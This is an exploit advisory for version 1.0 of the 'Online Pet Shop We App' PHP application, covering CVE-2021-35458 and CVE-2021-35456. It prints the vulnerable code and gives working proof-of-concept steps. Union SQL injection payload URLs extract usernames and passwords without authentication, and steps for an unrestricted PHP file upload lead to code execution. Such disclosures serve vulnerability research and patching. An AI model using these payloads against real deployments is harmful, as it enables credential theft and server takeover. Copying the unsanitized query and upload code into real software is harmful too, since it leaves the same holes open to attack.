Online Pet Shop We App - Multiple Vulnerabilities

Exploit Title: Online Pet Shop We App – SQL Injection (Unauthenticated)
Date: June 23rd, 2021
Exploit Author: Drew Jones (@qhum7)
Vendor Homepage: https://www.sourcecodester.com/users/tips23
Software Link: https://www.sourcecodester.com/php/14839/online-pet-shop-we-app-using-php-and-paypal-free-source-code.html
Version: 1.0
Tested On: Windows 10
CVE: CVE-2021-35458

Description:

Online Pet Shop We App is vulnerable to a Union SQL Injection, which allows attackers to extract information from the database. The flaw occurs in *products.php* since there is no sanitization of the *c* or *s* variables, allowing attackers to inject unsanitized SQL queries.

Vulnerable Code

```
if(isset($_GET['c']) && isset($_GET['s'])){
    $cat_qry = $conn-
>query("SELECT * FROM categories where md5(id) = '{$_GET['c']}'");
    if($cat_qry->num_rows > 0){
        $title = $cat_qry->fetch_assoc()['category'];
    }
 $sub_cat_qry = $conn-
>query("SELECT * FROM sub_categories where md5(id) = '{$_GET['s']}'");
    if($sub_cat_qry->num_rows > 0){
        $sub_title = $sub_cat_qry->fetch_assoc()['sub_category'];
    }
}
```

Proof of Concept

1. Unauthenticated users are allowed to make requests to http://localhost/?p=products&c=1&s=1
2. This is vulnerable to a union injection and can be triggered using a single quotation. http://localhost/?p=products&c='&s=1
3. The default database has 7 columns, allowing us to load the following URL. http://localhost/pet_shop/?p=products&c=' UNION SELECT 1,2,3,4,5,6,7 -- #&s=1
4. Once loaded, we can use 4th column as it uses a string value. http://localhost/pet_shop/?p=products&c=' UNION SELECT 1,2,3,'a',5,6,7 -- #&s=1
5. Using this, we can extract information from the database, such as usernames and passwords.

http://localhost/pet_shop/?p=products&c=' UNION SELECT 1,2,3,username,5,6,7 from users-- #&s=1
http://localhost/pet_shop/?p=products&c=' UNION SELECT 1,2,3,password,5,6,7 from users-- #&s=1

==========
##########
==========

Exploit Title: Online Pet Shop We App – Insecure File Upload (Authenticated)
Date: June 23rd, 2021
Exploit Author: Drew Jones (@qhum7)
Vendor Homepage: https://www.sourcecodester.com/users/tips23
Software Link: https://www.sourcecodester.com/php/14839/online-pet-shop-we-app-using-php-and-paypal-free-source-code.html
Version: 1.0
Tested On: Windows 10
CVE: CVE-2021-35456

Description:

Online Pet Shop We App is vulnerable to authenticated insecure file upload. This attack allows users to upload malicious php files without any restrictions due to a lack of sanitization.

Vulnerable Code

```
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
    $fname = 'uploads/'.strtotime(date('y-m-
d H:i')).'_'.$_FILES['img']['name'];
    $move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
    if(isset($_SESSION['system_info']['logo'])){
        $qry = $this->conn-
>query("UPDATE system_info set meta_value = '{$fname}' where meta_field = 'log
o' ");
        if(is_file('../'.$_SESSION['system_info']['logo'])) unlink('../'.$_SES
SION['system_info']['logo']);
    }else{
        $qry = $this->conn-
>query("INSERT into system_info set meta_value = '{$fname}',meta_field = 'logo
' ");
```

Proof of Concept:

1. Login to http://localhost/admin/?page=system_info
2. Using the left sidebar, navigate to "Settings".
3. Select "Browse" under "System Logo".
4. Upload a malicious PHP file.
5. Navigate to http://localhost/uploads/ and select your PHP file.